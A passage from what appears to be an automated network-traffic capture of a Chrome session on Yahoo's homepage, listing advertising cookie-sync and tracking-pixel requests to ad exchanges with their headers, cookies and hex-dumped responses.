axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:18 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:18 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.4	50092	74.119.119.73	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	688	OUT	GET /user-sync/redirect?profile=73&gdprapplies=0&gdpr=&gpp=&gpp_sid= HTTP/1.1 Host: ssp-sync.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=94a96463-4da4-468a-ab35-7f2fcadb375f
2024-01-10 23:27:18 UTC	675	IN	HTTP/1.1 302 Found content-length: 0 date: Wed, 10 Jan 2024 23:27:17 GMT server: Kestrel cache-control: no-store,max-age=0 location: https://x.bidswitch.net/sync?ssp=criteo&custom_data=QlAo019tRTNxWDVXWFQxbDFBOUZMYmFuOVh2Zk5JNiUyQnVxUWx5dCUyQnBRbW5qRVlEZWdCSnE0eUpKMVdJRlNNaHRWV1o2eFh3bGVpWHNOOE1GWGlvUjB3RnNES0ZNSUJRN2k0JTJCUG8zOE9YekU3VWpNRktVckMyWGlzc0hRMmtBRHFUZ2U5VW9BWVRBUVdlRFlUVm81QWlXVTZzMlhBJTJGOUJBWldSTW1TdWFmMmVkRE95QVMzTGclMkZWU040cTFEUWl6TiUyQnNXQU0&gdpr=&gdpr_consent=&us_privacy=&cr_user_id=k-xUr8NO1oxBdmU1nhVf4H-RCrhtpCMTHE-jBgFg cross-origin-resource-policy: cross-origin strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.4	50079	15.197.193.217	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	818	OUT	GET /track/cmf/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCIr75Nm2j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFGAEgASgCMgsIqLbtn82PyTwQBTgBWghwdWJtYXRpY2AC
2024-01-10 23:27:18 UTC	631	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:18 GMT Content-Length: 295 Connection: close server: Kestrel location: https://hb.yahoo.net/cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_origin=0&gdpr=0&gdpr_consent=&redir=true set-cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; expires=Fri, 10 Jan 2025 23:27:18 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFGAEgAigCMgsIqLbtn82PyTwQBTgBWghwdWJtYXRpY2AC; expires=Fri, 10 Jan 2025 23:27:18 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-01-10 23:27:18 UTC	295	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 62 2e 79 61 68 6f 6f 2e 6e 65 74 2f 63 6b 73 79 6e 63 2e 70 68 70 3f 63 73 3d 31 26 74 79 70 65 3d 35 35 39 35 33 26 6f 76 73 69 64 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 26 5f 6f 72 69 67 69 6e 3d 30 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 72 65 64 69 72 3d 74 72 75 65 22 3e 68 74 74 70 73 3a 2f 2f 68 62 2e 79 61 68 6f 6f 2e 6e 65 74 2f 63 6b 73 79 6e 63 2e 70 68 70 3f 63 73 3d 31 26 74 79 70 65 3d 35 35 39 35 33 26 6f 76 73 69 64 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 26 5f 6f 72 69 67 Data Ascii: Redirecting to: <a href="https://hb.yahoo.net/cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_origin=0&gdpr=0&gdpr_consent=&redir=true">https://hb.yahoo.net/cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_orig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.4	50089	23.92.190.69	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	709	OUT	GET /pixel?a=0&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&redir=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3Dsov%26ovsid%3D%24UID%26axid_e%3D HTTP/1.1 Host: ap.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:18 UTC	619	IN	HTTP/1.1 307 Temporary Redirect Connection: close Date: Wed, 10 Jan 2024 23:27:18 GMT Location: https://ap.lijit.com/pixel?a=0&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&redir=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3Dsov%26ovsid%3D%24UID%26axid_e%3D&sovrn_retry=true Set-Cookie: ljt_reader=H-G_bLZHIhhIpR6ZTj2OFYm3;Version=1;Domain=.lijit.com;Path=/;Max-Age=31536000;Secure; SameSite=None; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, DELETE, PUT Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Requested-With, Content-Type X-Sovrn-Pod: ad_ap3ewr1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.4	50087	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	943	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=bd6a219c-2538-477b-90ee-6d20c7860c4b&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13
2024-01-10 23:27:18 UTC	744	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:18 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:18 GMT; path=/ Set-Cookie: PugT=1704929238; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:18 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:18 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.4	50081	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	973	OUT	GET /pixel?google_nid=beeswaxio&google_sc=&google_hm=QUFCc20wN0xQbEFBQUJNTExvbGRZZw&gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csas%2Csyn%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:18 UTC	743	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://match.prod.bidr.io/cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csas%2Csyn%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 Date: Wed, 10 Jan 2024 23:27:18 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 390 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:18 UTC	390	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 70 72 6f 64 2e 62 69 64 72 2e 69 6f 2f 63 6f 6f 6b 69 65 2d 73 79 6e 63 2f 61 64 78 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 62 65 65 5f 73 79 6e 63 5f 70 61 72 74 6e 65 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://match.prod.bidr.io/cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partne

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.4	50097	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	921	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:A342B32A0BAA4852AA53FE42CB7195F6 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13
2024-01-10 23:27:18 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:18 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:18 GMT; path=/ Set-Cookie: PugT=1704929238; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:18 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:18 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.4	50094	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	1693	OUT	POST /p?s=2023538075&t=1704929236453&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&errorMessage=Failed%20ad%20with%20no%20fallback&id=sda-LREC4-iframe&loc=mid_right_b&renderCount=0&sourceType=native&status=failed HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:18 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:18 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.4	50085	52.223.22.214	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	710	OUT	GET /xuid?ld=1&mid=7976&xuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&dongle=u6nf&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluid=3631141743957125218505
2024-01-10 23:27:18 UTC	449	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:18 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" Set-Cookie: tluid=3631141743957125218505; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Tue, 09 Apr 2024 23:27:18 GMT; Secure; SameSite=None
2024-01-10 23:27:18 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.4	50082	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	862	OUT	GET /pixel?google_nid=pmeb&google_sc=1&google_hm=rxowsCS4R26u1L6NyvpBxA%3D%3D&gdpr=0&gdpr_consent=&google_tc= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:18 UTC	662	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&gdpr_consent= Date: Wed, 10 Jan 2024 23:27:18 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 301 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:18 UTC	301	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 64 73 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 6a 73 2f 75 73 65 72 5f 73 79 6e 63 2e 68 74 6d 6c 3f 70 3d 31 35 36 35 37 38 26 61 6d 70 3b 70 72 65 64 69 72 65 63 74 3d 26 61 6d 70 3b 67 64 70 72 3d 30 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.4	50083	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	874	OUT	GET /pixel?google_nid=pubmatic&google_hm=QUYxQTMwQjAtMjRCOC00NzZFLUFFRDQtQkU4RENBRkE0MUM0&gdpr=0&gdpr_consent=&google_tc= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:18 UTC	678	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= Date: Wed, 10 Jan 2024 23:27:18 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 313 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
